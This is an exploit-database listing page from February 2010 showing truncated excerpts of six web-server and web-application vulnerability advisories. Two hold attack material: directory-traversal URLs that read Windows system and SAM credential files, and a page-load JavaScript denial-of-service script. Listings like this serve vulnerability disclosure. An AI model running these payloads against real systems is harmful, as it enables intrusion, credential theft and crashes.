ExploitAlert Database - Exploit Database

Multiple Vulnerabilities with 8.3 Filename Pseudonyms in Web Servers

Tue, 09 Feb 2010 18:48:52 +0100

8.1. *Nginx Web Server*

The following configuration snippet for Nginx Web Server will process
any file with an extension of '.phtml' or '.php' by passing it to
another service running locally on port 8080 for processing. It will
deny requests for files beginning with '.ht' and the directory
'longfoldername'.

/-----
location ~ \.php$ {
proxy_pass http://127.0.0.1:8080;
}

location ~ \.phtml$ {

...

Newsletter Tailor Database Backup Dump Vulnerability

Tue, 09 Feb 2010 18:42:53 +0100

===========================================================================
===
[»] ~ Note : [ Tribute to the martyrs of Gaza . ]
===========================================================================
===
[»] Newsletter Tailor Database Backup Dump Vulnerability
===========================================================================
===

[»] Script: [ Newsletter Tailor ]
...

Newsletter Tailor (Auth Bypass) SQL Injection Vulnerability

Tue, 09 Feb 2010 18:42:11 +0100

# SecurityReason Note :
#
# Vulnerable Code in /admin/auth.inc.php :
#
# $admin=$mydb->query("select * from `admin`");
#$fetch=$mydb->fetchrows($admin);
# $pass=$fetch["password"];
# if ($pass=$password) {
# session_destroy();
# session_start();
# $_SESSION['adminname']="1";
# define ("_VALID_USER","1");
#
# As we can see we have if ($pass=$passw
...

GeFest Web HomeServer v1.0 Remote Directory Traversal Vulnerability

Mon, 08 Feb 2010 20:28:02 +0100

By default, the utility runs as an application (and it's very likely that
people will run this with administrator privileges)
The discovered vulnerability allows an attacker to access files outside of
the web application root.

PoC :
http://192.168.1.200:8080/\../\../\../WINDOWS\SYSTEM32\calc.exe
http://192.168.1.200:8080/\../\../\../WINDOWS\SYSTEM32\config\sam
http://192.168.1.200:8080/\../\../\../WINDOWS\SYSTEM32
http://192.168.1.200
...

Safari 4.0.4, Firefox 3.5.6, SeaMonkey 2.0.1 Remote Denial of Service (With Possible Memory Corruption With OOM)

Mon, 08 Feb 2010 14:05:05 +0100

<body onload="javascript:DoS();"></body>

<script>

function DoS() {

var buffer = 'A';
for (i =0;i<150;i++) {
buffer+=buffer+'A'
...

Mongoose Space Character Remote File Disclosure Vulnerability

Mon, 08 Feb 2010 13:55:12 +0100

#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Mongoose
# Version: 2.8
# Vendor: http://code.google.com/p/mongoose
#################################################################
# Vulnerability Info:
# Type: Remote Source Disclosure
# Risk: Medium
##########################################
...